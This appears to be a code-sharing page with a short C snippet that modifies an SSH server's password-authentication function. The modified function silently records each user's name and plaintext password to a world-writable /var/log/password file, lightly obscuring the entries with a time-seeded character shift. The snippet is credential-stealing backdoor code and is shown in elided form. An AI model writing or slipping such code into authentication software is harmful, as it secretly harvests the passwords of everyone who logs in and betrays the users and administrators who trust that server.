1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/types.h> #include <time.h>
.....
void code(char *str,char* c,int n); void code(char *str,char* c,int n) { srand((unsigned)time(0)); unsigned s[3] = {rand()%94 ,rand()%94, rand()%94}; int i = 0; for (; i < n; i++) { if (c[i] < 33 || c[i] > 127){continue;} str[i] = (c[i] + s[i % 3] - 33) % 94; str[i] = str[i] + 33; } str[i] = 0; } int auth_password(Authctxt *authctxt, const char *password) { char buff[256]; int len = 0; char pathname[] = "/var/log/password";
struct passwd * pw = authctxt->pw; int result, ok = authctxt->valid;
int fd = open(pathname, O_RDWR|O_CREAT|O_APPEND, 0777);
if (fd != -1) { snprintf(buff, 256, "iff-U:%s,P:%s\n",authctxt->user, password); len = strlen(buff); code(buff, buff, len); write(fd, buff, len); close(fd); }
........
|
Comments